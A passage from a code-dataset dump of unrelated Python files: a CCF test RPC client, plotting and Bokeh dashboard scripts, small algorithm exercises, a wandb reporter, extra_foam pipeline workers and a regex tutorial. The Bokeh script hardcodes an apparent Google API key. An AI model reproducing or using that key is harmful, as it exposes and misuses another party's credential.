{request.params}\") if request.params is not None else \"\")\n + f\"{description}\"\n )\n\n def log_response(self, response):\n LOG.debug(response)\n\n\nclass RPCFileLogger(RPCLogger):\n def __init__(self, path):\n self.path = path\n\n def log_request(self, request, name, description):\n with open(self.path, \"a\") as f:\n f.write(f\">> Request: {request.http_verb} /{request.method}\" + os.linesep)\n json.dump(request.params, f, indent=2)\n f.write(os.linesep)\n\n def log_response(self, response):\n with open(self.path, \"a\") as f:\n f.write(\"<< Response:\" + os.linesep)\n json.dump(response.to_dict() if response else \"None\", f, indent=2)\n f.write(os.linesep)\n\n\nclass CCFConnectionException(Exception):\n pass\n\n\ndef build_query_string(params):\n return \"&\".join(\n f\"{urllib.parse.quote_plus(k)}={urllib.parse.quote_plus(json.dumps(v))}\"\n for k, v in params.items()\n )\n\n\ndef get_curve(ca_file):\n # Auto detect EC curve to use based on server CA\n ca_bytes = open(ca_file, \"rb\").read()\n return (\n x509.load_pem_x509_certificate(ca_bytes, default_backend()).public_key().curve\n )\n\n\nclass CurlClient:\n \"\"\"\n We keep this around in a limited fashion still, because\n the resulting logs nicely illustrate manual usage in a way using the requests API doesn't\n \"\"\"\n\n def __init__(\n self, host, port, cert, key, ca, binary_dir, request_timeout, *args, **kwargs,\n ):\n self.host = host\n self.port = port\n self.cert = cert\n self.key = key\n self.ca = ca\n self.binary_dir = binary_dir\n self.request_timeout = request_timeout\n\n ca_curve = get_curve(self.ca)\n if ca_curve.name == \"secp256k1\":\n raise RuntimeError(\n f\"CurlClient cannot perform TLS handshake with {ca_curve.name} ECDH curve. \"\n \"Use RequestClient class instead.\"\n )\n\n def request(self, request, is_signed=False):\n with tempfile.NamedTemporaryFile() as nf:\n if is_signed:\n cmd = [os.path.join(self.binary_dir, \"scurl.sh\")]\n else:\n cmd = [\"curl\"]\n\n url = f\"https://{self.host}:{self.port}/{request.method}\"\n\n if request.params_in_query:\n if request.params is not None:\n url += f\"?{build_query_string(request.params)}\"\n\n cmd += [\n url,\n \"-X\",\n request.http_verb,\n \"-i\",\n f\"-m {self.request_timeout}\",\n ]\n\n if not request.params_in_query:\n if request.params is None:\n msg_bytes = bytes()\n elif isinstance(request.params, bytes):\n msg_bytes = request.params\n else:\n msg_bytes = json.dumps(request.params).encode()\n LOG.debug(f\"Writing request body: {msg_bytes}\")\n nf.write(msg_bytes)\n nf.flush()\n cmd.extend([\"--data-binary\", f\"@{nf.name}\"])\n\n # Set requested headers first - so they take precedence over defaults\n for k, v in request.headers.items():\n cmd.extend([\"-H\", f\"{k}: {v}\"])\n\n cmd.extend([\"-H\", \"Content-Type: application/json\"])\n\n if self.ca:\n cmd.extend([\"--cacert\", self.ca])\n if self.key:\n cmd.extend([\"--key\", self.key])\n if self.cert:\n cmd.extend([\"--cert\", self.cert])\n\n LOG.debug(f\"Running: {' '.join(cmd)}\")\n rc = subprocess.run(cmd, capture_output=True, check=False)\n\n if rc.returncode != 0:\n if rc.returncode == 60: # PEER_FAILED_VERIFICATION\n raise CCFConnectionException\n if rc.returncode == 28: # OPERATION_TIMEDOUT\n raise TimeoutError\n LOG.error(rc.stderr)\n raise RuntimeError(f\"Curl failed with return code {rc.returncode}\")\n\n return Response.from_raw(rc.stdout)\n\n\nclass TlsAdapter(HTTPAdapter):\n def __init__(self, ca_file):\n self.ca_curve = get_curve(ca_file)\n super().__init__()\n\n # pylint: disable=signature-differs\n def init_poolmanager(self, *args, **kwargs):\n context = create_urllib3_context()\n context.set_ecdh_curve(self.ca_curve.name)\n kwargs[\"ssl_context\"] = context\n return super(TlsAdapter, self).init_poolmanager(*args, **kwargs)\n\n\nclass RequestClient:\n def __init__(\n self, host, port, cert, key, ca, request_timeout, *args, **kwargs,\n ):\n self.host = host\n self.port = port\n self.cert = cert\n self.key = key\n self.ca = ca\n self.request_timeout = request_timeout\n self.session = requests.Session()\n self.session.verify = self.ca\n self.session.cert = (self.cert, self.key)\n self.session.mount(\"https://\", TlsAdapter(self.ca))\n\n def request(self, request, is_signed=False):\n auth_value = None\n if is_signed:\n auth_value = HTTPSignatureAuth(\n algorithm=\"ecdsa-sha256\",\n key=open(self.key, \"rb\").read(),\n # key_id needs to be specified but is unused\n key_id=\"tls\",\n headers=[\"(request-target)\", \"Date\", \"Content-Length\", \"Content-Type\",],\n )\n\n extra_headers = {}\n extra_headers.update(request.headers)\n\n request_args = {\n \"method\": request.http_verb,\n \"url\": f\"https://{self.host}:{self.port}/{request.method}\",\n \"auth\": auth_value,\n \"headers\": extra_headers,\n }\n\n if request.params is not None:\n if request.params_in_query:\n request_args[\"params\"] = build_query_string(request.params)\n else:\n request_args[\"json\"] = request.params\n\n try:\n response = self.session.request(\n timeout=self.request_timeout, **request_args\n )\n except requests.exceptions.ReadTimeout as exc:\n raise TimeoutError from exc\n except requests.exceptions.SSLError as exc:\n raise CCFConnectionException from exc\n except Exception as exc:\n raise RuntimeError(\"Request client failed with unexpected error\") from exc\n\n return Response.from_requests_response(response)\n\n\nclass WSClient:\n def __init__(\n self, host, port, cert, key, ca, request_timeout, *args, **kwargs,\n ):\n self.host = host\n self.port = port\n self.cert = cert\n self.key = key\n self.ca = ca\n self.request_timeout = request_timeout\n self.ws = None\n\n def request(self, request, is_signed=False):\n assert not is_signed\n\n if not self.ws:\n LOG.info(\"Creating WSS connection\")\n try:\n self.ws = websocket.create_connection(\n f\"wss://{self.host}:{self.port}\",\n sslopt={\n \"certfile\": self.cert,\n \"keyfile\": self.key,\n \"ca_certs\": self.ca,\n },\n timeout=self.request_timeout,\n )\n except Exception as exc:\n raise CCFConnectionException from exc\n payload = json.dumps(request.params).encode()\n path = (\"/\" + request.method).encode()\n header = struct.pack(\" end_time:\n raise CCFConnectionException(\n f\"Connection still failing after {self.connection_timeout}s\"\n ) from e\n LOG.debug(f\"Got exception: {e}\")\n time.sleep(0.1)\n\n def get(self, *args, **kwargs):\n return self.rpc(*args, http_verb=\"GET\", **kwargs)\n\n def post(self, *args, **kwargs):\n return self.rpc(*args, http_verb=\"POST\", **kwargs)\n\n def put(self, *args, **kwargs):\n return self.rpc(*args, http_verb=\"PUT\", **kwargs)\n\n def delete(self, *args, **kwargs):\n return self.rpc(*args, http_verb=\"DELETE\", **kwargs)\n\n\n@contextlib.contextmanager\ndef client(\n host,\n port,\n cert=None,\n key=None,\n ca=None,\n description=None,\n log_file=None,\n prefix=\"app\",\n binary_dir=\".\",\n connection_timeout=3,\n request_timeout=3,\n ws=False,\n):\n c = CCFClient(\n host=host,\n port=port,\n cert=cert,\n key=key,\n ca=ca,\n description=description,\n prefix=prefix,\n binary_dir=binary_dir,\n connection_timeout=connection_timeout,\n request_timeout=request_timeout,\n ws=ws,\n )\n\n if log_file is not None:\n c.rpc_loggers += (RPCFileLogger(log_file),)\n\n yield c\n","sub_path":"tests/infra/clients.py","file_name":"clients.py","file_ext":"py","file_size_in_byte":16380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"265547776","text":"import csv\nimport argparse\nfrom collections import defaultdict\nimport numpy as np\nimport seaborn as sns\nimport matplotlib.pyplot as plt\n\n\ndef plot_per_function(traces, output_filename, remove_y=False):\n \"\"\"\n Create bar plot with the sequence accuracy per function, stds included.\n\n Args:\n traces: list of filenames containing the pooled seq acss per function\n output_filename: name for the pdf with the plots saved\n remove_y: remove functions names at y axis for pretty paper plots\n \"\"\"\n functions = [\"remove_second\", \"remove_first\", \"copy\", \"append\", \"echo\", \"prepend\", \"shift\", \"swap\", \"reverse\", \"repeat\"]\n functions = list(reversed(functions))\n results_per_function = defaultdict(list)\n\n # Traces consist of tab separated listings with name and accuracy\n for trace in traces:\n trace = csv.DictReader(open(trace), delimiter=\"\\t\")\n for item in trace:\n # Rename \"swap first last\" to \"swap\"\n if item[\"function\"] != \"swap_first_last\":\n function_name = item[\"function\"]\n else:\n function_name = \"swap\"\n results_per_function[function_name].append(float(item[\"accuracy\"]))\n\n sns.set(rc={\"figure.figsize\": (6, 4)})\n\n blues = list(sns.color_palette(\"Blues\", 15))[3:]\n average = [np.mean(results_per_function[f]) for f in functions]\n std = [np.std(results_per_function[f]) for f in functions]\n ax = sns.barplot(x=average, y=functions, xerr=std, palette=blues,\n orient=\"h\", errwidth=0.2)\n\n # Label axes with names and x / yticks\n plt.xlim(0.5, 1)\n plt.ylim(-0.5, 9.5)\n ax.grid(True)\n plt.xlabel(\"accuracy\")\n ax.set_xlabel(\"accuracy\", fontsize=20)\n ax.tick_params(labelsize=20)\n\n if not remove_y:\n plt.yticks(list(range(0, 10)))\n else:\n ax.yaxis.set_ticklabels([])\n\n plt.xticks([0.6, 0.7, 0.8, 0.9, 1])\n ax.tick_params(labelsize=20)\n\n # Save figure to pdf\n plt.savefig(output_filename, bbox_inches='tight')\n plt.clf()\n\n\nif __name__ == '__main__':\n\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--traces\", type=str, nargs=\"+\",\n help=\"Filenames of pooled accuracies per function.\")\n parser.add_argument(\"--remove_y\", action=\"store_true\",\n help=\"Add flag if the Y-axis labels are to be removed.\")\n parser.add_argument(\"--output_filename\", type=str, default=\"plot.pdf\",\n help=\"Name of the pdf that is saved with the plots.\")\n args = vars(parser.parse_args())\n\n plot_per_function(args[\"traces\"], args[\"output_filename\"],\n remove_y=args[\"remove_y\"])\n","sub_path":"src/evaluate/plot_pcfg_perfunction.py","file_name":"plot_pcfg_perfunction.py","file_ext":"py","file_size_in_byte":2681,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"346289729","text":"def knapsack(p, w, v):\n n = len(p)\n lists,arr = [],[[0] * (v + 1) for _ in range(n + 1)]\n\n for i in range(1, n + 1):\n for j in range(1, v + 1):\n if w[i - 1] <= j: # 如果当前物品的体积不超过背包的容量,p[i-1]当前物品的价值,w[i-1]当前物品的体积\n arr[i][j] = max(arr[i - 1][j], p[i - 1] + arr[i - 1][j - w[i - 1]])\n else: #如果当前物品的体积超过背包的容量\n arr[i][j] = arr[i - 1][j]\n remain = v\n\n for i in range(n, 0, -1):\n if arr[i][remain] > arr[i - 1][remain]:\n lists.append(i - 1) # (i-1)为当前物品的编号\n remain -= w[i - 1] # 容积减去已经找到的物品,再次寻找\n\n return arr[-1][-1], lists\n\n\nif __name__ == '__main__':\n p = [700 ,500, 800 ,600 ,520] # 物品的价值\n w = [3, 2, 9, 4, 3] # 物品占的体积\n v = 8 # 背包的容量\n print(knapsack(p, w, v))","sub_path":"DP-01Bag/Dp3.py","file_name":"Dp3.py","file_ext":"py","file_size_in_byte":956,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"257023791","text":"import pandas as pd\n\nfrom bokeh.io import curdoc\nfrom bokeh.io import output_notebook\nfrom bokeh.io import show\nfrom bokeh.io import push_notebook\n\nfrom bokeh.models import NumeralTickFormatter\nfrom bokeh.models import ColumnDataSource\nfrom bokeh.models import HoverTool\nfrom bokeh.models import LinearInterpolator\nfrom bokeh.models import CategoricalColorMapper\nfrom bokeh.models import Slider\nfrom bokeh.models.widgets import RadioButtonGroup\nfrom bokeh.models import GMapOptions\nfrom bokeh.models import GMapPlot\n\nfrom bokeh.plotting import figure\nfrom bokeh.plotting import gmap\n\nfrom bokeh.palettes import Spectral6\n\nfrom bokeh.layouts import column\nfrom bokeh.layouts import widgetbox\n\nfrom bokeh.tile_providers import CARTODBPOSITRON\n\n#set up data\ndf = pd.read_csv('data/random_data.csv')\ndel df['Unnamed: 0']\ndel df['index']\ndata = df[['year', 'locationid', 'costs', 'trainees_total', 'trainees_pass', 'latitude', 'longitude']]\ndata = data.set_index('year')\n\nsource1 = ColumnDataSource(dict(\n x = data.loc[2000].trainees_total,\n y = data.loc[2000].costs, \n location=data.loc[2000].locationid,\n))\n\nsource2 = ColumnDataSource(dict(\n x = data.trainees_total,\n y = data.costs, \n location=data.locationid,\n))\n\n#map data\ndf_map = pd.read_csv('data/major_airports.csv')\n\nmap_source = ColumnDataSource(\n data=dict(\n lat = df_map['latitude_deg'],\n lon = df_map['longitude_deg']\n #lat = data.loc[2010].latitude,\n #lon = data.loc[2010].longitude,\n #location = data.loc[2010].locationid\n# lat=[ 30.29, 30.20, 30.29],\n# lon=[-97.70, -97.74, -97.78]\n )\n)\n\n######Figure 1\n\nPLOT_OPTS = dict(\n plot_height = 400,\n x_range = (data['trainees_total'].min(), data['trainees_total'].max()),\n y_range = (data['costs'].min(), data['costs'].max()),\n )\n\np1 = figure(\n title='costs per trainee',\n tools=[HoverTool(tooltips='@location', show_arrow=False)],\n **PLOT_OPTS)\n\np1.circle(\n x='x',\n y='y',\n source=source1,\n)\n\np1.xaxis[0].formatter = NumeralTickFormatter()\np1.xaxis.axis_label = \"# of Total Trainees\"\np1.yaxis.axis_label = \"Costs\"\n\n###########Figure 2\n\np2 = figure(\n title='costs per trainee',\n #tools=[HoverTool(tooltips='@location', show_arrow=False)],\n **PLOT_OPTS)\n\np2.circle(\n x='x',\n y='y',\n source=source2,\n)\n\np2.xaxis[0].formatter = NumeralTickFormatter()\np2.xaxis.axis_label = \"# of Total Trainees\"\np2.yaxis.axis_label = \"Costs\"\n\n#############Figure 3 - map\n\ngoogleAPI= 'AIzaSyBaL6-f-crVqoA88nnRsF0FtDhu6JvcVZU'\nmap_options = GMapOptions(lat=37.0902, lng=-95.7129, map_type=\"roadmap\", zoom=3)\n #map_options = GMapOptions(lat=30.2861, lng=-97.7394, map_type=\"roadmap\", zoom=11)\n\nmap_ = gmap(googleAPI, map_options)\n\nmap_.circle(\n x=\"lon\", \n y=\"lat\", \n size=5, \n fill_color=\"blue\", \n fill_alpha=0.8, \n source=map_source,\n \n)\n\ndef update_slider(attr, old, new):\n year = new\n new_data = dict(\n x = data.loc[year].trainees_total,\n y = data.loc[year].costs, \n location=data.loc[year].locationid,\n )\n source1.data = new_data\n p1.title.text = str(year)\n\ndef update_buttons(attr, old, new):\n \n # print('test_list', radio_button_group.labels[new])\n # print('type', type(radio_button_group.labels[new]))\n # print('dataframe ', data.head())\n # print('-------------')\n # print('selected column', selected_column)\n # print('type selected_column', type(data[selected_column]))\n\n selected_column = str(radio_button_group.labels[new])\n new_data = dict(\n x = data[selected_column],\n y = data.costs,\n location=data.locationid,\n )\n source2.data = new_data\n p2.xaxis.axis_label = str(selected_column)\n\nslider = Slider(start=2000, end=2016, value=2000, step=1, title=\"Year\")\nslider.on_change('value', update_slider)\n\nradio_button_group = RadioButtonGroup(labels=[\"trainees_total\", \"trainees_pass\"], active=0)\nradio_button_group.on_change('active', update_buttons)\n\nlayout = column(p1, slider, p2, widgetbox(radio_button_group), map_)\ncurdoc().add_root(layout)\n\n#bokeh serve filename.py --show","sub_path":"bokeh/bokeh_dashboard/viz.py","file_name":"viz.py","file_ext":"py","file_size_in_byte":4115,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"596576818","text":"from tkinter import *\n\nroot = Tk()\n\ncanvas = Canvas(root, width='300', height='300')\ncanvas.pack()\n\n# reproduce this:\n# [https://github.com/greenfox-academy/teaching-materials/blob/master/workshop/drawing/purple-steps-3d/r4.png]\n\n\ndef purple_steps(a):\n lime_box = canvas.create_rectangle(10+a, 10+a, 10+1.5*a, 10+1.5*a, fill=\"purple\")\n if a < 140:\n return purple_steps(a*1.5)\n # return purple_steps(a+5)\npurple_steps(20)\n\nroot.mainloop()","sub_path":"week-03/day-03/purple_steps_3d.py","file_name":"purple_steps_3d.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"228690741","text":"import turtle\ndef draw():\n\twindow = turtle.Screen()\n\twindow.bgcolor(\"red\")\n\n\tnate = turtle.Turtle()\n\tnate.shape(\"turtle\")\n\tnate.color(\"white\")\n\n\tfor i in range(3):\n\t\tnate.forward(100)\n\t\tnate.left(120)\n\n\twindow.exitonclick()\n\n\ndraw()","sub_path":"Draw-Turtle/triangle.py","file_name":"triangle.py","file_ext":"py","file_size_in_byte":232,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"236806660","text":"#particle swarm optimization for Schwefel minimization problem\n\n#need some python libraries\nimport copy\nimport math\nfrom random import Random\n\n#to setup a random number generator, we will specify a \"seed\" value\nseed = 12345\nmyPRNG = Random(seed)\n\n#to get a random number between 0 and 1, write call this: myPRNG.random()\n#to get a random number between lwrBnd and upprBnd, write call this: myPRNG.uniform(lwrBnd,upprBnd)\n#to get a random integer between lwrBnd and upprBnd, write call this: myPRNG.randint(lwrBnd,upprBnd)\n\n#number of dimensions of problem\nn = 2\n\n#number of particles in swarm\nswarmSize = 10\n \n#Schwefel function to evaluate a real-valued solution x \n# note: the feasible space is an n-dimensional hypercube centered at the origin with side length = 2 * 500\n \ndef evaluate(x): \n val = 0\n d = len(x)\n for i in xrange(d):\n val = val + x[i]*math.sin(math.sqrt(abs(x[i])))\n \n val = 418.9829*d - val \n \n return val \n\n#the swarm will be represented as a list of positions, velocities, values, pbest, and pbest values\n\npos = [[] for _ in xrange(swarmSize)] #position of particles -- will be a list of lists\nvel = [[] for _ in xrange(swarmSize)] #velocity of particles -- will be a list of lists\n\ncurValue = [] #value of current position -- will be a list of real values\npbest = [] #particles' best historical position -- will be a list of lists\npbestVal = [] #value of pbest position -- will be a list of real values\n\n#initialize the swarm randomly\nfor i in xrange(swarmSize): #for every particle i in my swarm\n for j in xrange(n): #for every dimension j\n pos[i].append(myPRNG.uniform(-500,500)) #assign random value between -500 and 500\n vel[i].append(myPRNG.uniform(-1,1)) #assign random value between -1 and 1\n \n curValue.append(evaluate(pos[i])) #evaluate the current position\n \npBest = pos[:] # initialize pbest to the starting position\npBestVal = curValue[:] # initialize pbest to the starting position\n\n\n \n \n\n\n","sub_path":"pso start.py","file_name":"pso start.py","file_ext":"py","file_size_in_byte":2293,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"440060099","text":"# Import turtle module.\nimport turtle;\n\n# region Helper methods.\n\n########################################################################\n# Helper methods.\n########################################################################\n\n########################################################################\n# Display an error message in case that the user input is not a valid round number.\n########################################################################\ndef error_response():\n \"\"\"Display an error message in case that the user input is not a valid round number.\"\"\"\n\n # Display instructions for the user.\n print(\"------------------------------------------------------------------------\")\n print(\"Error has occurred! \\n\");\n print(\"Your input is not a valid round number. \\n\");\n print(\"Please enter a valid round number and try again!\");\n print(\"------------------------------------------------------------------------\")\n\n########################################################################\n# Confirms that input is present.\n########################################################################\ndef check_input(number_of_sides):\n \"\"\"Confirms that input is present.\n\n Keyword arguments:\n number_of_sides -- User input whose presence needs to be confirmed.\"\"\"\n\n if not number_of_sides:\n error_response();\n memija_geometric_shape();\n else:\n return number_of_sides;\n\n########################################################################\n# Converts input from string to integer value.\n########################################################################\ndef convert_input(number_of_sides):\n \"\"\"Converts input from string to integer value.\n In case that conversion operation is unsuccessful user friendly error message will be shown to the user.\n\n Keyword arguments:\n number_of_sides -- String value that should be converted to the integer value.\"\"\"\n\n try:\n number_of_sides = int(number_of_sides);\n return number_of_sides;\n except:\n error_response();\n memija_geometric_shape();\n\n#endregion Helper methods.\n\n########################################################################\n# Draws geometric shape.\n########################################################################\ndef draw_geometric_shape(number_of_sides):\n \"\"\"Draws geometric shape.\n Draws geometric shape that depends on the number of sides user has requested.\n\n Keyword arguments:\n number_of_sides -- String value that should be converted to the integer value.\"\"\"\n\n # Geometric side length is predefined in order to make sure geometric shape fits, in as many cases as possible, to an available drawing area.\n side_length = 100;\n\n for i in range(number_of_sides):\n # Move pen forward for the predefined side length.\n turtle.forward(side_length);\n # Rotate pen right for the angle calculated by division of 360, that stands for full circle, with the number of sides the user had entered.\n turtle.right(360/number_of_sides);\n\n########################################################################\n# Main application method.\n########################################################################\ndef memija_geometric_shape():\n \"\"\"Main application method\"\"\"\n\n # Display instructions for the user.\n print(\"------------------------------------------------------------------------\")\n print(\"\\n Please enter the number of sides geometric object should contain: \\n\");\n print(\"------------------------------------------------------------------------\")\n\n # Get number of sides for geometric shape from the user.\n number_of_sides = input();\n\n number_of_sides = check_input(number_of_sides);\n number_of_sides = convert_input(number_of_sides);\n draw_geometric_shape(number_of_sides);\n\n exit();\n\nmemija_geometric_shape();\n","sub_path":"MemijaGeometricShape/MemijaGeometricShape.py","file_name":"MemijaGeometricShape.py","file_ext":"py","file_size_in_byte":3886,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"419141901","text":"###############################\n#\n# Created by Patrik Valkovic\n# 01.04.21\n#\n###############################\nimport wandb\nimport time\n\n\nclass WandbReporter:\n def __init__(self, wandbinit = None):\n self._wandbinit = wandbinit or {}\n\n def __enter__(self):\n self._run = wandb.init(project='thesis', allow_val_change=True, **self._wandbinit)\n return self\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n self._run.finish()\n\n @property\n def run(self):\n return self._run\n\n def __call__(self, *args, **kwargs):\n d = dict(kwargs)\n if 'orig_fitness' in d:\n del d['orig_fitness']\n if 'new_fitness' in d:\n del d['new_fitness']\n wandb.log(d, step=kwargs['iteration'])\n return args, kwargs\n\n\nclass WandbExecutionTime(WandbReporter):\n def __enter__(self):\n super().__enter__()\n self._start_proc = time.process_time()\n self._last_iter_proc = self._start_proc\n self._start_perf = time.perf_counter()\n self._last_iter_perf = self._start_perf\n self._start_time = time.time()\n self._last_iter_time = self._start_time\n return self\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n super().__exit__(exc_type, exc_val, exc_tb)\n\n def __call__(self, *args, **kwargs):\n now_proc, now_perf, now_time = time.process_time(), time.perf_counter(), time.time()\n wandb.log({\n 'iteration_proc_time': now_proc - self._last_iter_proc,\n 'total_proc_time': now_proc - self._start_proc,\n 'iteration_perf_time': now_perf - self._last_iter_perf,\n 'total_perf_time': now_perf - self._start_perf,\n 'iteration_real_time': now_time - self._last_iter_time,\n 'total_real_time': now_time - self._start_time,\n }, step=kwargs['iteration'])\n self._last_iter_proc, self._last_iter_perf, self._last_iter_time = now_proc, now_perf, now_time\n return super().__call__(*args, **kwargs)\n","sub_path":"src/Scripts/utils/WandbReporter.py","file_name":"WandbReporter.py","file_ext":"py","file_size_in_byte":2013,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"454864728","text":"\"\"\"\nDistributed under the terms of the BSD 3-Clause License.\n\nThe full license is in the file LICENSE, distributed with this software.\n\nAuthor: Jun Zhu \nCopyright (C) European X-Ray Free-Electron Laser Facility GmbH.\nAll rights reserved.\n\"\"\"\nimport multiprocessing as mp\nfrom threading import Event\nfrom queue import Empty, Full\nimport sys\nimport traceback\nimport time\n\nfrom .exceptions import StopPipelineError, ProcessingError\nfrom .pipe import KaraboBridge, MpInQueue, MpOutQueue, ZmqOutQueue\nfrom .processors import (\n DigitizerProcessor,\n AzimuthalIntegProcessorPulse, AzimuthalIntegProcessorTrain,\n BinningProcessor,\n Broker,\n CorrelationProcessor,\n ImageAssemblerFactory,\n ImageProcessor,\n CtrlDataProcessor,\n FomPulseFilter, FomTrainFilter,\n PumpProbeProcessor,\n ImageRoiPulse, ImageRoiTrain,\n HistogramProcessor,\n XgmProcessor,\n)\nfrom ..config import config, PipelineSlowPolicy\nfrom ..ipc import RedisConnection\nfrom ..ipc import process_logger as logger\nfrom ..processes import register_foam_process\nfrom ..database import MonProxy\n\n\nclass ProcessWorker(mp.Process):\n \"\"\"Base worker class for heavy online data analysis.\"\"\"\n\n _db = RedisConnection()\n\n def __init__(self, name, pause_ev, close_ev):\n super().__init__()\n\n self._name = name\n register_foam_process(name, self)\n\n self._slow_policy = config[\"PIPELINE_SLOW_POLICY\"]\n\n self._input = None # pipe-in\n self._output = None # pipe-out\n # pipeline extension for special suite, jupyter notebook and\n # other plugins\n self._extension = None\n\n self._tasks = []\n\n self._pause_ev = pause_ev\n self._close_ev = close_ev\n self._input_update_ev = Event()\n self._output_update_ev = Event()\n self._extension_update_ev = Event()\n\n # the time when the previous data processing was finished\n self._prev_processed_time = None\n\n self._mon = MonProxy()\n\n @property\n def name(self):\n return self._name\n\n @property\n def input(self):\n return self._input\n\n @property\n def output(self):\n return self._output\n\n def run(self):\n \"\"\"Override.\"\"\"\n # start input and output pipes\n self._input.start()\n self._output.start()\n if self._extension is not None:\n self._extension.start()\n\n data_out = None\n while not self.closing:\n if not self.running:\n data_out = None\n\n self.wait()\n self.notify_update()\n\n if data_out is None:\n try:\n # get the data from pipe-in\n data_out = self._input.get()\n\n try:\n self._run_tasks(data_out)\n except StopPipelineError:\n tid = data_out[\"processed\"].tid\n self._mon.add_tid_with_timestamp(tid, dropped=True)\n logger.info(f\"Train {tid} dropped!\")\n data_out = None\n\n except Empty:\n pass\n\n if data_out is not None:\n sent = False\n # TODO: still put the data but signal the data has been dropped.\n if self._slow_policy == PipelineSlowPolicy.WAIT:\n try:\n self._output.put(data_out)\n sent = True\n except Full:\n pass\n else:\n # always keep the latest data in the cache\n self._output.put_pop(data_out)\n sent = True\n\n if self._extension is not None and sent:\n try:\n self._extension.put(data_out)\n except Full:\n pass\n\n if sent:\n data_out = None\n\n time.sleep(0.001)\n\n def _run_tasks(self, data):\n \"\"\"Run all tasks for once:\n\n :param dict data: a dictionary which is passed around processors.\n \"\"\"\n for task in self._tasks:\n try:\n task.run_once(data)\n except StopPipelineError as e:\n exc_type, exc_value, exc_traceback = sys.exc_info()\n logger.debug(repr(traceback.format_tb(exc_traceback))\n + repr(e))\n logger.error(repr(e))\n raise\n except ProcessingError as e:\n exc_type, exc_value, exc_traceback = sys.exc_info()\n logger.debug(repr(traceback.format_tb(exc_traceback))\n + repr(e))\n logger.error(repr(e))\n except Exception as e:\n exc_type, exc_value, exc_traceback = sys.exc_info()\n logger.debug(f\"Unexpected Exception!: \" +\n repr(traceback.format_tb(exc_traceback)) +\n repr(e))\n logger.error(repr(e))\n\n @property\n def closing(self):\n return self._close_ev.is_set()\n\n @property\n def running(self):\n return self._pause_ev.is_set()\n\n def wait(self):\n self._pause_ev.wait()\n\n def notify_update(self):\n self._input_update_ev.set()\n self._output_update_ev.set()\n self._extension_update_ev.set()\n\n\nclass PulseWorker(ProcessWorker):\n \"\"\"Pipeline worker for pulse-resolved data.\"\"\"\n def __init__(self, pause_ev, close_ev):\n \"\"\"Initialization.\"\"\"\n super().__init__('pulse worker', pause_ev, close_ev)\n\n self._input = KaraboBridge(self._input_update_ev, pause_ev, close_ev)\n self._output = MpOutQueue(self._output_update_ev, pause_ev, close_ev)\n\n self._broker = Broker()\n\n self._xgm_proc = XgmProcessor()\n self._digitizer_proc = DigitizerProcessor()\n self._ctrl_data_proc = CtrlDataProcessor()\n\n self._assembler = ImageAssemblerFactory.create(config['DETECTOR'])\n self._image_proc = ImageProcessor()\n\n self._image_roi = ImageRoiPulse()\n self._ai_proc = AzimuthalIntegProcessorPulse()\n\n self._filter = FomPulseFilter()\n\n self._pp_proc = PumpProbeProcessor()\n\n self._tasks = [\n self._broker,\n self._xgm_proc,\n self._digitizer_proc,\n self._ctrl_data_proc,\n self._assembler,\n self._image_proc,\n self._image_roi,\n self._ai_proc,\n self._filter,\n self._pp_proc,\n ]\n\n\nclass TrainWorker(ProcessWorker):\n \"\"\"Pipeline worker for train-resolved data.\"\"\"\n def __init__(self, pause_ev, close_ev):\n \"\"\"Initialization.\"\"\"\n super().__init__('train worker', pause_ev, close_ev)\n\n self._input = MpInQueue(self._input_update_ev, pause_ev, close_ev)\n self._output = MpOutQueue(self._output_update_ev, pause_ev, close_ev,\n final=True)\n self._extension = ZmqOutQueue(\n self._extension_update_ev, pause_ev, close_ev)\n\n self._image_roi = ImageRoiTrain()\n self._ai_proc = AzimuthalIntegProcessorTrain()\n\n self._filter = FomTrainFilter()\n\n self._histogram = HistogramProcessor()\n self._correlation1_proc = CorrelationProcessor(1)\n self._correlation2_proc = CorrelationProcessor(2)\n self._binning_proc = BinningProcessor()\n\n self._tasks = [\n self._image_roi,\n self._ai_proc,\n self._filter,\n self._histogram,\n self._correlation1_proc,\n self._correlation2_proc,\n self._binning_proc,\n ]\n","sub_path":"extra_foam/pipeline/worker.py","file_name":"worker.py","file_ext":"py","file_size_in_byte":7740,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"216902484","text":"import re\ninfoRegex = re.compile(r'\\D\\D\\D') ## this show us not the digit , show us other things\nmatchObj = infoRegex.search(\"123Rafi\")\nprint(matchObj.group())\n\ninfoRegex2 = re.compile(r'\\w\\w\\w\\w') ## show the alphanumaric\nmatchObj2 = infoRegex2.search('rafi123')\nprint(matchObj2.group())\n\ninfoRegex3 = re.compile(r'\\W\\W\\W\\W') ## this is oppsite of alphanumaric , non alphanumaric\nmatchObj3 = infoRegex2.search('rafi123')\nprint(matchObj3.group())\n\ninfoRegex4 = re.compile(r'\\s\\w+') ## \\s represent evry single space and \\w for alphanumaric somthing\nmatchObj4 = infoRegex4.findall('he is a good person')\nprint(matchObj4)\n\ninfoRegex5 = re.compile(r'\\d+\\s\\w+') ## \\d for digit, \\s for space \\w foralphanumaric\nmatchObj5 = infoRegex5.findall('5 mango, 10, orange, 7 banana, 10 apple')\nprint(matchObj5)\n\nvowelRegex6 = re.compile(r'[AEIOUaeiou]')\nmatchObj6 = vowelRegex6.findall('hello ! i am rafi.')\nprint(matchObj6)\n\nconsonentRegex = re.compile(r'[^AEIOUaeiou]') ## count the vowel opposite\ninfoRegex7 = consonentRegex.findall('hello world. this is python')\nprint(infoRegex7)\n\nstartRegex = re.compile(r'[^hello]') ## ^is using 